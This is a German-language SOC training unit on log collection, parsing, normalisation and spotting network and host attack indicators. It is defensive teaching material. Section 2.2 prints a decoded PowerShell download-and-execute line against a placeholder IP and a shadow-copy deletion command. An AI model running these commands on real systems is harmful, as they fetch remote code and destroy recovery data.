Sicherheitsüberwachung und Protokollanalyse
MittelEinheit 1 von 7 in Kurs: SOC und Incident Response – Angriffe erkennen und abwehren
Was du lernst
- Wähle Protokollquellen zur Beantwortung von Sicherheitsfragen aus, lies und parse ihre Formate, erfasse sie vollständig und vertrauenswürdig und normalisiere und reiche Ereignisse an, damit sie gemeinsam durchsucht werden können.
- Protokollquellen zur Beantwortung von Sicherheitsfragen auswählenBenenne die wichtigsten Protokollquellen in Netzwerken, auf Hosts, in Anwendungen und Sicherheitswerkzeugen, gib an, was sie jeweils erfassen, und wähle die Quelle aus, die eine bestimmte Untersuchungsfrage beantwortet.
- Gängige Protokollformate lesen und parsenLies Einträge aus Syslog-, Windows-Ereignis-, JSON-, Schlüssel-Wert-, CEF- und Webzugriffsprotokollen Feld für Feld und extrahiere Felder mit Parsern und regulären Ausdrücken.
- Protokolle vollständig, zeitnah und vertrauenswürdig erfassenErfasse Protokolle aus jeder Quelle zuverlässig, synchronisiere die Zeit, schütze Protokolle vor Manipulation, plane Aufbewahrungsdauer und Speicher und erkenne, wenn eine Quelle verstummt.
- Ereignisse normalisieren und anreichernOrdne Felder aus verschiedenen Quellen einem gemeinsamen Schema zu, vereinheitliche Zeit- und Werteformate und ergänze Ereignisse um Asset-, Identitäts-, Standort- und Bedrohungskontext.
- Protokollquellen zur Beantwortung von Sicherheitsfragen auswählen
- Lies Netzwerk-, Host- und Anwendungsprotokolle auf Muster, die auf Scans, Command and Control, Missbrauch integrierter Werkzeuge, Persistenz, Datendiebstahl und Angriffe auf Webanwendungen hinweisen, und wäge jeweils harmlose Erklärungen ab.
- Netzwerkindikatoren erkennenErkenne Scans, unerwartete Ports, nicht autorisierte Geräte, Beaconing, verdächtige DNS-Aktivität, laterale Bewegung und Datenexfiltration in Firewall-, Flow-, Proxy- und DNS-Protokollen.
- Hostindikatoren erkennenErkenne verdächtige Prozesse, den Missbrauch integrierter Werkzeuge, kodierte Befehle, Persistenz, Protokollmanipulation, nicht autorisierte Software und Ressourcenmissbrauch in Endgeräteprotokollen.
- Anwendungs- und Webindikatoren erkennenLies Webserver-, Anwendungs- und Datenbankprotokolle auf Injection-Versuche, Scans, Webshells, Kontomissbrauch und Dienstunterbrechungen.
- Netzwerkindikatoren erkennen
- Nutze Cloud-Auditprotokolle sowie Anmelde- und Auditprotokolle von Identitätssystemen, um den Missbrauch von Cloud-Konten, gestohlene Zugangsdaten und nicht autorisierte Berechtigungsänderungen zu erkennen.
- Cloud-Auditprotokolle und Dienstprotokolle analysierenKenne die verfügbaren Cloud-Protokolle und ihre Standardeinstellungen, lies ein Cloud-API-Ereignis und erkenne Manipulationen der Protokollierung, Missbrauch von Zugangsdaten, riskante Konfigurationsänderungen und Ressourcenmissbrauch.
- Anmeldeaktivitäten analysierenLies Authentifizierungsprotokolle von Identitätsanbietern und Windows und erkenne Brute-Force-Angriffe, Password Spraying, Credential Stuffing, unmögliche Reisen, MFA-Ermüdung und andere Anzeichen für gestohlene Zugangsdaten.
- Änderungen an Konten und Berechtigungen nachverfolgenÜberwache die Erstellung von Konten und Zugangsdaten, Änderungen an Gruppen- und Rollenmitgliedschaften sowie weitere Berechtigungsänderungen lokal und in der Cloud und beurteile sie anhand der erwarteten Administration.
- Cloud-Auditprotokolle und Dienstprotokolle analysieren
- Beschreibe normale Aktivitäten mit Baselines, beurteile Anomalien anhand dieser Baselines und entwickle SIEM-Korrelationslogik, die Ereignisse über Zeit und Quellen hinweg verknüpft.
- Baselines erstellen und Anomalien beurteilenDefiniere, wie normale Aktivitäten von Benutzern, Hosts und Diensten aussehen, miss Abweichungen mit einfacher Statistik und Vergleichsgruppen und entscheide, wann eine Anomalie Beachtung verdient.
- Korrelationslogik für SIEM-Regeln schreibenErkläre die Aufgaben eines SIEM und entwirf Korrelationsregeln (Einzelereignis, Schwellenwert, Anzahl unterschiedlicher Werte, Sequenz, quellenübergreifend und Abwesenheit) mit geeigneten Gruppierungsschlüsseln und Zeitfenstern.
- Baselines erstellen und Anomalien beurteilen
- Klassifiziere Untersuchungsergebnisse von Alarmmeldungen, bearbeite jede Meldung von der ersten Sichtung bis zur dokumentierten Entscheidung und untersuche sie effizient mit Abfragen, Dekodierung und Reputationsdiensten.
- Untersuchungsergebnisse von Alarmmeldungen klassifizierenUnterscheide richtig und falsch positive und negative Ergebnisse einschließlich gutartiger richtig positiver Ergebnisse und erkläre, warum Basisraten, Präzision und Alarmmüdigkeit die Qualität von Alarmmeldungen wichtig machen.
- Eine Alarmmeldung von der ersten Sichtung bis zur Entscheidung bearbeitenFolge einem wiederholbaren Triage-Ablauf: Verstehe die Alarmmeldung, validiere sie anhand der Rohereignisse, ergänze Kontext, ermittle das Ausmaß, entscheide und dokumentiere und eskaliere mit einer klaren Übergabe.
- Mit Abfragen, Dekodierung und Reputationsdiensten untersuchenDurchsuche Protokolle mit gezielten Abfragen und gehe zu verwandten Daten über, dekodiere verschleierte Daten, prüfe die Reputation von Adressen, Domänen und Dateien sicher und gehe sorgfältig mit KI-Assistenten um.
- Untersuchungsergebnisse von Alarmmeldungen klassifizieren
- Überführe eine Bedrohung in eine getestete, dokumentierte Erkennungsregel und stimme Erkennungsregeln anschließend fein ab und pflege sie, damit sie bei Veränderungen der Umgebung zuverlässig bleiben.
- Eine Erkennungsregel entwerfen, schreiben und testenDurchlaufe den Lebenszyklus des Detection Engineering: Definiere das Verhalten und die Daten, schreibe übertragbare Regellogik, ordne sie MITRE ATT&CK zu, teste sie mit bösartigen und normalen Daten und dokumentiere sie.
- Erkennungsregeln feinabstimmen und ihre Qualität überwachenReduziere falsch positive Ergebnisse, ohne blinde Flecken zu erzeugen, verwende Ausschlüsse und Schwellenwerte sorgfältig, miss die Erkennungsqualität und erhalte die Abdeckung langfristig.
- Eine Erkennungsregel entwerfen, schreiben und testen
Sicherheitsüberwachung einfach erklärt
1Eine zuverlässige Protokollpipeline aufbauen
Eine zielführende Untersuchung beginnt, bevor eine Alarmmeldung eintrifft. Die richtigen Systeme müssen die richtigen Details aufzeichnen, und diese müssen mit unveränderter Bedeutung in einem durchsuchbaren Speicher ankommen. Lerne, Quellen für konkrete Fragen auszuwählen, ihre Formate zu lesen, die Erfassung zu schützen und Ereignissen gemeinsame Felder und nützlichen Kontext zu geben. Diese Entscheidungen bestimmen, was spätere Suchen und Erkennungsregeln sehen können.
1.1 Zur Frage passende Belege finden
Ein Ereignis ist ein beobachtbarer Vorgang, etwa eine Anmeldung oder der Start eines Prozesses. Ein Protokoll zeichnet Ereignisse auf. Eine Alarmmeldung besagt, dass überwachte Ereignisse einer Erkennungslogik entsprachen. Ein Sicherheitsvorfall gefährdet Informationen oder Systeme tatsächlich oder unmittelbar oder verstößt gegen Gesetze, Sicherheitsrichtlinien, Verfahren oder Richtlinien zur zulässigen Nutzung oder droht unmittelbar dagegen zu verstoßen. Ein Analyst prüft die Belege, bevor er entscheidet, wie eine Alarmmeldung einzuordnen ist.
Wähle eine Quelle nach ihrer Sicht aus
| Frage | Nützliche Quelle | Was du liest |
|---|---|---|
| Wer hat sich angemeldet? | Authentifizierungsprotokolle des Hosts oder Identitätsanbieters | Benutzer, Quelle, Methode, Ergebnis |
| Was wurde ausgeführt? | Prozesserstellung oder EDR | Programm, Befehlszeile, Elternprozess, Benutzer |
| Wer hatte eine Adresse? | DHCP | Gerät und Lease-Zeitraum |
| Welcher Name wurde abgefragt? | DNS | Client, Abfrage, Antwort |
| Wohin ging der Datenverkehr? | Firewall, Proxy, Flow-Datensätze | Ziel, Zeit, Bytes, Aktion |
Firewalls zeichnen erlaubte und abgelehnte Verbindungen auf. Proxies und Secure Web Gateways ergänzen URLs, User-Agents und Übertragungsgrößen. VPN-Gateways zeigen Fernzugriffssitzungen; IDS-/IPS-Werkzeuge melden Datenverkehr, der ihren Signaturen entspricht. Flow-Datensätze, darunter NetFlow und IPFIX, fassen Kommunikationsabläufe anhand von Adressen, Ports, Protokoll, Zeit, Paketen und Bytes zusammen. Sie bleiben bei verschlüsseltem Datenverkehr nützlich, weil sie dessen Merkmale beschreiben, enthalten aber keine Nutzdaten.
Hostprotokolle zeigen Aktivitäten hinter diesen Verbindungen. Windows-Sicherheitsereignisse umfassen Authentifizierung, Kontoänderungen und bei aktivierter Überwachung Prozesserstellungen. System- und Anwendungsprotokolle zeigen Dienste und Software. Sysmon und EDR ergänzen Details zu Prozessen, Dateien, Registrierung und Netzwerk. Die PowerShell-Skriptblockprotokollierung zeichnet Skriptinhalte in Ereignis 4104 auf. Linux-Authentifizierungsmeldungen erscheinen häufig in /var/log/auth.log auf Systemen der Debian-Familie oder in /var/log/secure auf Systemen der Red-Hat-Familie. Das systemd-Journal wird mit journalctl gelesen; auditd zeichnet die Aktivitäten auf, die seine Auditregeln auswählen.
Webzugriffs- und Fehlerprotokolle, Datenbank- und Geschäftsanwendungs-Auditprotokolle sowie E-Mail-Gateways geben Aufschluss über Anfragen und Datennutzung. Befunde von Antivirenprogrammen, DLP, WAF und Schwachstellenscannern ergänzen eine weitere Sicht. Auch der Befund eines Sicherheitswerkzeugs ist ein Ereignis, das zusammen mit der zugrunde liegenden Aktivität interpretiert werden muss.
Verfolge eine Adresse über die Zeit
Ein Proxy zeichnet um 14:02 Uhr UTC einen Download durch 10.20.30.45 auf. Der DHCP-Lease weist diese Adresse an diesem Tag von 13:30 bis 21:30 Uhr LAPTOP-0193 zu. Durchsuche die Prozessereignisse dieses Laptops um den Zeitpunkt des Downloads. Heute könnte die Adresse einem anderen Gerät zugewiesen sein; ein Abgleich der Adresse ohne Lease-Zeitraum kann die Untersuchung zum falschen Host führen.
Prüfe die Erfassung, bevor du dich auf sie verlässt
Prüfe anhand eines tatsächlichen Beispiels, ob die für deine Frage benötigten Felder vorhanden sind. Damit Windows-Ereignis 4688 den Befehlstext enthält, muss die Richtlinie zur Befehlszeilenerfassung aktiviert sein. Sysmon-Netzwerkereignis 3 ist standardmäßig deaktiviert. Ein SIEM empfängt nur die Daten, die an es gesendet werden. Priorisiere nützliche Details bei kritischen Assets und privilegierten Identitäten und prüfe auch erlaubte Verbindungen: Über eine erlaubte Verbindung kann ein Angriff laufen.
Wichtige Erkenntnisse
- Beginne mit der Untersuchungsfrage und wähle dann die Quellen aus.
- Flow-Datensätze zeigen Metadaten des Datenverkehrs ohne Nutzdaten.
- Ordne eine IP-Adresse dem Gerät zum Ereigniszeitpunkt zu.
- Prüfe Überwachung und benötigte Felder anhand echter Beispielereignisse.
1.2 Roheinträge in durchsuchbare Felder umwandeln
Parsing extrahiert benannte Felder aus einem Roheintrag. Eine Suche nach einem Textfragment kann eine Zeile finden; mit geparsten Feldern kannst du Fehlversuche nach Benutzer zählen, Adressen vergleichen und nach Ereigniszeitpunkt sortieren. Bewahre den Roheintrag auf, damit du die Extraktion prüfen kannst.
Lies zuerst die Struktur
Syslog nach RFC 5424 beginnt mit Priorität, Version, Zeitstempel, Host, Anwendung, Prozess-ID, Nachrichten-ID, strukturierten Daten und Meldungstext. Ältere Zeitstempel nach RFC 3164 wie Mar 14 10:15:02 enthalten weder Jahr noch Zeitzone; diese müssen aus dem Kontext der Quelle ermittelt werden.
Die Syslog-Priorität kombiniert Facility und Schweregrad:
Für <38> ergibt die Division durch 8 Facility 4 und Rest 6, Informational. Für <34> hat dieselbe Facility den Schweregrad 2, Critical. Die Schweregradzahlen reichen von 0 Emergency über 1 Alert, 2 Critical, 3 Error, 4 Warning, 5 Notice und 6 Informational bis 7 Debug. Eine niedrige Zahl steht für einen höheren Schweregrad. Dies ist die Bewertung der sendenden Anwendung: Ein SSH-Fehlversuch mit Informational kann dennoch zu einem Angriff gehören.
Windows-EVTX-Dateien können als XML oder aufbereiteter Text angezeigt werden. Der System-Abschnitt nennt Anbieter, Ereignis-ID, Erstellungszeit in UTC, Computer und Kanal. EventData enthält ereignisspezifische Felder. Prüfe bei 4625 die Felder TargetUserName, LogonType, Status, SubStatus, IpAddress, WorkstationName und ProcessName. Typ 10 bedeutet RemoteInteractive; Typ 2 bedeutet eine interaktive lokale Anmeldung. Dieselbe Ereignis-ID kann ganz unterschiedliche Zugriffswege beschreiben.
Extrahiere Felder nach ihrer Bedeutung
JSON-Parser suchen Schlüssel nach Namen, auch verschachtelte Pfade wie responseElements.ConsoleLogin. Sie müssen fehlende und Null-Felder sowie wechselnde Schlüsselreihenfolgen verarbeiten können. Schlüssel-Wert-Datensätze kennzeichnen Werte direkt, wie in src=203.0.113.45 dport=3389 action=deny. CEF stellt seinen Schlüssel-Wert-Erweiterungen einen durch senkrechte Striche getrennten Header mit Hersteller, Produkt, Signatur, Name und Schweregrad voran; verwende einen Parser, der die Maskierung versteht.
Lies in einem kombinierten Webzugriffsprotokoll Clientadresse, Identität, authentifizierten Benutzer, Zeit und Versatz, Anfrage, Status, Antwortgröße in Byte, Referrer und User-Agent. Ein Bindestrich bedeutet, dass ein Wert fehlt. User-Agents werden von Clients angegeben: Ein Scannername ist daher ein nützlicher Beleg, aber der Name eines gewöhnlichen Browsers kann nachgeahmt werden.
Extrahiere zwei Formen von SSH-Meldungen
Dieser Regex verarbeitet sowohl einen normalen Benutzernamen als auch die Formulierung „invalid user“:
Failed password for (?:invalid user )?(\S+) from (\d{1,3}(?:\.\d{1,3}){3}) port (\d+)
In Failed password for invalid user admin from 203.0.113.45 port 52114 sind die erfassten Werte admin, 203.0.113.45 und 52114. Die optionale nicht erfassende Gruppe verarbeitet „invalid user “, ohne es zum Benutzernamen zu machen. \S+ erfasst Text ohne Leerraumzeichen; \d+ erfasst Ziffern.
Das Muster extrahiert einen Wert in der Form einer Adresse; es akzeptiert auch Oktette wie 999, daher ist die Adressvalidierung ein separater Schritt. Vermeide ein gieriges .*, wo es ein Feldtrennzeichen verschlucken kann. Füge mehrzeilige Datensätze vor dem Parsing zusammen und überwache Parsing-Fehler nach Softwareupdates: Ein geändertes Layout kann Erkennungsfelder unbemerkt leer lassen.
Wichtige Erkenntnisse
- Parsing ermöglicht feldbasierte Suchen und Zählungen.
- Der Syslog-Schweregrad ist eine Bewertung der Quelle, kein Urteil über einen Angriff.
- Verwende benannte JSON-Felder und verarbeite fehlende Werte.
- Teste Regex anhand verschiedener Meldungsformen und bewahre den Roheintrag auf.
- Überwache Parserfehler, wenn sich Protokollformate ändern.
1.3 Belege mit vertrauenswürdigen Zeitangaben fortlaufend erfassen
Die Erfassung muss auch bei gewöhnlichen Ausfällen und absichtlichen Eingriffen weiter funktionieren. Eine genaue Regel ist wenig wert, wenn ihre Quelle nicht mehr sendet oder ihre Zeitstempel Ereignisse in die falsche Reihenfolge bringen.
Wähle und überwache den Übertragungsweg
Ein Agent liest lokale Protokolle und kann sie zwischenspeichern, filtern, verschlüsseln und weiterleiten. Agentenlose Wege umfassen Syslog, Windows Event Forwarding, den regelmäßigen Abruf über Cloud-APIs und Exporte in Speicher oder Datenströme. Jeder Weg muss auf seinen Status überwacht werden. UDP-Syslog auf Port 514 ist unverschlüsselt und bestätigt die Zustellung nicht. TCP ergänzt eine zuverlässige Zustellung; Syslog über TLS auf Port 6514 ergänzt Verschlüsselung und Serverauthentifizierung. Verwende über nicht vertrauenswürdige Netzwerke einen zuverlässigen verschlüsselten Transport und speichere Ereignisse bei Kollektorausfällen zwischen.
Synchronisiere die Uhren der Quellen mit einem zuverlässigen Zeitdienst, üblicherweise NTP auf UDP 123. Speichere die Zeit in UTC und behalte den ursprünglichen Versatz bei. Die Firewall-Zeit 2026-03-14 10:15:00 +02:00 entspricht 2026-03-14T08:15:00Z. Eine um sieben Minuten vorgehende Hostuhr lässt ihre Ereignisse zu spät erscheinen und kann eine Zeitleiste umkehren. Eine große Uhrendrift verhindert auch zeitkritische Authentifizierung; Windows Kerberos erlaubt standardmäßig fünf Minuten.
Der Ereigniszeitpunkt hält fest, wann eine Aktivität geschah. Der Erfassungszeitpunkt hält fest, wann die Plattform sie empfing. Zwischengespeicherte Ereignisse und Cloud-Ereignisse können verspätet eintreffen. Korreliere nach Ereigniszeitpunkt und gib geplanten Suchen ausreichend Verzögerung oder Rückblick, um verspätete Eingänge einzubeziehen.
Schütze die Aufzeichnungen und bewahre sie auf
Leite Protokolle schnell von Hosts weg weiter, beschränke Lese- und Löschberechtigungen und trenne die Kontrolle über Protokolle von der routinemäßigen Administration. Unveränderlicher Speicher und kryptografische Prüfsummen helfen, Änderungen zu erkennen oder zu verhindern. Die CloudTrail-Integritätsprüfung verwendet SHA-256-Prüfsummendateien. Überwache Windows 1102 auf das Löschen von Auditprotokollen und 4719 auf Änderungen der Überwachungsrichtlinie sowie Cloud-Aktionen wie StopLogging und DeleteTrail. Beschränke den Zugriff, weil Protokolle personenbezogene und sensible Daten enthalten können.
Die Aufbewahrungsdauer richtet sich nach dem Untersuchungsbedarf und geltenden gesetzlichen, vertraglichen oder aufsichtsrechtlichen Pflichten. Beispielsweise verlangt PCI DSS v4.0 in Anforderung 10.5.1 eine Auditprotokollhistorie von mindestens 12 Monaten, wobei die jüngsten drei Monate sofort verfügbar sein müssen. Aktueller durchsuchbarer Speicher wird oft als Hot-Speicher bezeichnet; Archive kosten weniger, benötigen aber mehr Zeit für Suche oder Wiederherstellung. Voreinstellungen allein können zu kurz sein: Entra bewahrt Audit- und Anmeldeprotokolle bei Free 7 Tage und bei P1/P2 30 Tage auf, während die CloudTrail-Ereignishistorie Verwaltungsereignisse für 90 Tage bietet. Ein Export ermöglicht längere Aufbewahrungszeiten.
Schätze das Volumen und achte auf ausbleibende Daten
Für 2.000 Endgeräte, die täglich jeweils 5.000 Ereignisse zu je 500 Byte erzeugen, beträgt das tägliche Rohvolumen 5.000.000.000 Byte oder 5 GB. Neunzig Tage benötigen 450 GB; ein Jahr benötigt 1,825 TB vor Komprimierung, Indexierung und sonstigem zusätzlichem Speicherbedarf.
Überwache das erwartete Volumen und Heartbeats kritischer Quellen, Kollektorfehler, Rückstaus in Warteschlangen und Parsing-Fehler. „30 Minuten lang keine DC01-Ereignisse“ ist eine Statusalarmmeldung, auch wenn keine Angriffsalarmmeldung ausgelöst wurde. Ein Protokollierungsstandard sollte für jeden Systemtyp Auditkategorien, Befehlszeilenerfassung, Skriptprotokollierung und den geeigneten Detailgrad festlegen. Eine reine Fehlererfassung übersieht Sicherheitsaktivitäten; routinemäßige Debug-Erfassung kann den Speicher überlasten.
Wichtige Erkenntnisse
- Verwende Zwischenspeicherung und zuverlässigen verschlüsselten Transport über nicht vertrauenswürdige Netzwerke.
- Rechne Zeitversätze um und unterscheide Ereigniszeitpunkt und Erfassungszeitpunkt.
- Schütze zentrale Kopien und überwache Änderungen an der Protokollierung.
- Lege die Aufbewahrungsdauer gezielt fest und schätze das Rohvolumen vor zusätzlichem Speicherbedarf.
- Löse sowohl bei ausbleibenden kritischen Quellen als auch bei verdächtigen Ereignissen Alarmmeldungen aus.
1.4 Ereignissen gemeinsame Felder und nützlichen Kontext geben
Ein Windows-Ereignis, eine Linux-Meldung und ein Cloud-Datensatz können dieselbe Art von Aktion mit unterschiedlichen Namen beschreiben. Normalisierung gibt diesen Feldern gemeinsame Namen, Typen und Wertekonventionen. Datenanreicherung ergänzt Informationen über die beteiligten Personen, Systeme und Ziele.
Normalisiere Bedeutungen, nicht nur Namen
| Rohquelle | Adressfeld | Gemeinsames Feld |
|---|---|---|
| Windows | IpAddress | source.ip |
| Firewall | src | source.ip |
| CloudTrail | sourceIPAddress | source.ip |
Bei fehlgeschlagenen Anmeldungen von jdoe aus 203.0.113.45 können alle drei Quellen zu event.category=authentication, event.outcome=failure, user.name=jdoe und source.ip=203.0.113.45 werden. Eine nach Quelle gruppierte Authentifizierungsregel kann dann alle drei durchsuchen.
Zu den verbreiteten Schemata gehören ECS, OCSF, CIM und ASIM. Die Feldnamen im Beispiel folgen dem ECS-Stil. Ein Schema definiert auch Datentypen und zulässige Werte. Speichere Adressen als Adresswerte, damit Subnetzsuchen funktionieren. Wandle Zeiten in UTC nach ISO 8601 um. Ordne unterschiedliche Darstellungen von Erfolg oder Misserfolg einem gemeinsamen Ergebnis zu und beachte dabei die tatsächliche Bedeutung der Quellaktion. Das Ergebnis „allowed“ einer Firewall beschreibt eine Verbindungsentscheidung, keine erfolgreiche Benutzerauthentifizierung.
Ordne Identitäten wie EXAMPLE\jdoe, jdoe@example.com und JDOE demselben Konto zu, wenn sie tatsächlich dieses Konto bezeichnen. Eine Vereinheitlichung der Groß- und Kleinschreibung ist angemessen, wenn die Quelle diese nicht unterscheidet. Bewahre Unterschiede, wo die Groß- und Kleinschreibung relevant ist, und führe nicht zwei Personen zusammen, nur weil ihre kurzen Benutzernamen übereinstimmen.
Ergänze Kontext, der die Frage verändert
Nützliche Datenanreicherung umfasst Asset-Eigentümer, Betriebssystem, geschäftliche Rolle, Kritikalität und Erreichbarkeit über das Internet; Abteilung, Berechtigungen, Dienstkontostatus und Beschäftigungsstatus des Benutzers; DHCP-Historie; sowie Netzwerkbetreiber, ungefähren Standort und Reputation öffentlicher Adressen.
Eine Alarmmeldung berichtet wiederholte Fehlversuche für svc-backup von 10.20.30.45. Der Asset-Kontext weist auf einen Laptop aus dem Marketing hin. Der Identitätskontext zeigt, dass sich dieses Dienstkonto normalerweise nur vom Backupserver 10.0.8.12 aus anmeldet. Diese unerwartete Beziehung verdient Aufmerksamkeit, noch bevor die Zahl der Fehlversuche groß wird.
Beachte, wann der Kontext hinzugefügt wurde. Die Anreicherung bei der Erfassung bewahrt den Kontext, der bei Eingang des Ereignisses verfügbar war. Die Anreicherung bei der Suche zeigt normalerweise den aktuellen Stand. Ein aktueller Asset-Eigentümer oder eine aktuelle Adresszuweisung kann ältere Ereignisse falsch darstellen. Verwende daher historische Aufzeichnungen, wenn die Frage frühere Eigentumsverhältnisse betrifft.
Prüfe Zuordnungen und Reduzierungen
VPNs, Mobilfunkanbieter, Proxies und Cloud-Hosting können die geografische Zuordnung verfälschen. Die Reputation ändert sich, wenn Infrastruktur den Eigentümer wechselt. Nutze beides als unterstützende Belege und prüfe, wie alt die Angaben sind. Validiere Feldzuordnungen anhand von Rohbeispielen: Wird ein Ziel source.ip zugeordnet, kann eine Regel das falsche System beschuldigen.
Deduplizierung entfernt wiederholte Zustellungen eines Ereignisses. Aggregation fasst mehrere Ereignisse zusammen und speichert beispielsweise eine Anzahl für 1.000 Ablehnungen. Aggregation spart Platz, verwirft aber Einzelheiten der einzelnen Ereignisse. Bewahre die für Erkennungen und Untersuchungen benötigten Felder und Rohereignisse auf; werden sie an der Quelle herausgefiltert, entsteht eine Lücke, die keine spätere Korrelation schließen kann.
Wichtige Erkenntnisse
- Normalisiere Namen, Typen, Zeitstempel, Identitäten und Ergebnisse.
- Datenanreicherung ergänzt Asset-, Identitäts- und Zielkontext.
- Prüfe, ob der Kontext das vergangene Ereignis oder die aktuelle Umgebung beschreibt.
- Validiere Zuordnungen anhand von Rohereignissen, bevor du einer Regel vertraust.
2Muster in Netzwerk-, Host- und Anwendungsprotokollen lesen
Eine verdächtige Adresse ist nur ein Hinweis. Zeitmuster, Verkehrsrichtung, Prozessbeziehungen, Anfragemuster und nachfolgende Aktionen sagen oft mehr aus. Lies jede Quelle im Hinblick darauf, was sie zeigen kann, vergleiche die Aktivität mit der erwarteten Arbeit und verbinde unabhängige Aufzeichnungen zu einer Zeitleiste. Die überzeugendsten Schlussfolgerungen erklären eine Abfolge über mehrere Quellen hinweg und halten dabei Versuche, erfolgreiche Aktionen und offene Fragen auseinander.
2.1 Verdächtige Netzwerkmuster erkennen
Ein Kompromittierungsindikator ist ein beobachtbares Artefakt, das auf eine Kompromittierung hindeutet. Ein atomarer Indikator ist eine einzelne Adresse, Domäne, URL oder ein Hashwert. Ein Verhaltensindikator ist ein Muster, etwa eine Arbeitsstation, die viele andere über Port 445 kontaktiert. Atomare Werte lassen sich schnell abgleichen und leicht ersetzen; Verhalten beschreibt, was der Akteur tut.
Lies die Merkmale von Verbindungen
Ein vertikaler Portscan prüft viele Ports auf einem Host. Ein horizontaler Portscan prüft einen Port auf vielen Hosts. Viele abgelehnte oder zurückgesetzte Verbindungen mit sehr wenigen Bytes passen zu einem Scan, aber autorisierte Schwachstellenscanner tun dasselbe. Vergleiche Quelle, Umfang und Zeitplan. Internet-Erkundungen eines Netzwerkperimeters im Hintergrund haben einen anderen Kontext als Scans durch eine interne Arbeitsstation.
Unerwartete Beziehungen sind ebenso wichtig wie Ports. Wenn Arbeitsstationen sich plötzlich gegenseitig über SMB 445, RDP 3389 oder WinRM 5985/5986 kontaktieren, kann das auf laterale Bewegung hindeuten. Verwaltungsserver und Jump-Hosts können dies rechtmäßig tun. Ein Datenbankserver, der SSH-Verbindungen aufbaut, eine über das Internet erreichbare Arbeitsstation, die RDP annimmt, oder Datenverkehr, dessen Protokoll nicht zum Port passt, verdient eine nähere Prüfung. Eine Portnummer deutet auf einen Dienst hin; sie belegt nicht das tatsächlich verwendete Protokoll.
Neue MAC-Adressen in DHCP-, Switch-, NAC- oder WLAN-Controller-Protokollen können nicht autorisierte Geräte aufdecken. Vergleiche sie mit Inventar und Einbindungsdokumentation: Ein neuer Drucker und ein unbekanntes Gerät in einem Serversegment bergen unterschiedliche Risiken.
Untersuche Wiederholungen und Namen
Beaconing ist wiederholter Kontakt mit einem Command-and-Control-Server. Die Zeitpunkte 0, 60, 121, 180, 241, 299, 360, 421, 480 und 540 Sekunden ergeben Abstände von durchschnittlich 60 Sekunden mit einer Streuung von etwa 1,1 Sekunden. Kleine Anfragen, ein wiederkehrender User-Agent und durchgehende Aktivität über Nacht verstärken das Muster. Prüfe den auslösenden Prozess und das Ziel, denn auch Updater und Telemetriesysteme melden sich regelmäßig. Angreifer können zufällige Verzögerungen, also Jitter, hinzufügen.
DNS bietet eine weitere Sicht. Ein Domänengenerierungsalgorithmus kann viele zufällig wirkende Namen und viele NXDOMAIN-Antworten erzeugen. DNS-Tunneling kann zu langen Namensbestandteilen, zahlreichen unterschiedlichen Subdomänen unter einer Domäne und einem ungewöhnlichen Volumen an TXT-Abfragen führen. Ein DNS-Namensbestandteil ist auf 63 Zeichen begrenzt. Die Shannon-Entropie misst die Zufälligkeit von Zeichen: example erreicht etwa 2,52 Bit pro Zeichen, x9f3kq7z2b8wp1md dagegen 4,0. Hohe Entropie kommt auch bei legitimen Cloud-Namen vor; kombiniere sie mit Abfragevolumen, Zielhistorie und Domänenalter.
Verfolge Volumen und Richtung
Mögliche Datenexfiltration umfasst ungewöhnlich große ausgehende Übertragungen an neue Ziele, ungewöhnliche Zeiten oder ein hohes Verhältnis von Upload zu Download. Ein Server, der 2,3 GB hochlädt und dabei 40 MB empfängt, erreicht bei dezimalen Einheiten ein Verhältnis von 57,5 zu 1. Prüfe bekannte Datensicherungen und Synchronisierungsaufträge, bevor du über die Ursache entscheidest. HTTPS verbirgt den Inhalt der Nutzdaten, während nützliche Metadaten zu Volumen und Zeit weiterhin sichtbar sind.
NAT kann viele Geräte hinter einer öffentlichen Adresse verbergen. Ermittle die interne Quelle anhand von NAT-, Proxy- oder internen Firewall-Aufzeichnungen zum relevanten Zeitpunkt. Das Land eines Ziels allein liefert zu wenig Kontext, um zu entscheiden, ob eine Verbindung bösartig ist.
Wichtige Erkenntnisse
- Vergleiche Scans mit autorisierten Quellen und Zeitplänen.
- Untersuche unerwartete Verbindungen zwischen gleichrangigen Geräten und ungewöhnliche Dienstnutzung.
- Kombiniere Beaconing- oder DNS-Hinweise mit Prozess- und Zielkontext.
- Prüfe Übertragungsrichtung, Volumen, Ziel und erwartete Aufträge.
- Löse NAT-Zuordnungen auf, bevor du Aktivität einer öffentlichen Adresse einem Gerät zuschreibst.
2.2 Prozessaktivität mit Persistenz verknüpfen
Hosttelemetrie verknüpft Netzwerkaktivität mit dem verantwortlichen Programm und Benutzer. Besonders nützlich ist die Prozesserstellung: Windows 4688 mit Befehlszeilenerfassung oder Sysmon 1 zeigt den neuen Prozess, die Befehlszeile, den Elternprozess und den Benutzer. Sysmon liefert außerdem Hashwerte und Prozesskennungen, die beim Verknüpfen von Ereignissen helfen.
Lies Elternprozess und Argumente
| Prozessbeziehung | Grund für die Untersuchung |
|---|---|
winword.exe startet powershell.exe | Ein Dokument könnte ein Skript gestartet haben |
w3wp.exe startet cmd.exe | Eine Webanfrage könnte eine Shell erreicht haben |
services.exe startet ein Programm im temporären Ordner eines Benutzers | Ein Dienst könnte auf eine Datei verweisen, in die ein Angreifer schreiben kann |
Legitime signierte Werkzeuge können als Living-off-the-Land-Binaries missbraucht werden. certutil.exe kann Dateien herunterladen, mshta.exe entfernte Skriptinhalte ausführen und rundll32.exe eine DLL aus einem beschreibbaren Ordner laden. vssadmin delete shadows /all /quiet entfernt Schattenkopien und kann einem Ransomware-Angriff vorausgehen. Beurteile Argumente, Elternprozess, Benutzer, Pfad, Signaturgeber und umgebende Aktionen gemeinsam. Ein vertrauter Dateiname allein sagt wenig über die Absicht aus.
PowerShells -EncodedCommand enthält Base64-kodierten UTF-16LE-Text. Die Dekodierung des durchgearbeiteten Befehls ergibt iwr http://198.51.100.23/a.ps1|iex: ein Skript herunterladen und im Arbeitsspeicher ausführen. Kodierung und versteckte Fenster kommen auch bei der Administration vor. Lies den dekodierten Inhalt und, sofern verfügbar, das Skriptblockereignis 4104.
Suche nach einem Weg zurück ins System
Persistenz ermöglicht den Zugriff nach einem Neustart oder einer Abmeldung. Achte auf neue Dienste (7045 in System oder 4697 in Security), geplante Aufgaben (4698), Run-Werte in der Registrierung (Sysmon 13), Autostartdateien (Sysmon 11) und neue lokale Konten (4720). Prüfe unter Linux Cron-Einträge, systemd-Units und neue Schlüssel in ~/.ssh/authorized_keys. Eine Aufgabe, die auf C:\Users\Public\upd.exe verweist, benötigt eine andere Erklärung als eine dokumentierte Softwarebereitstellung.
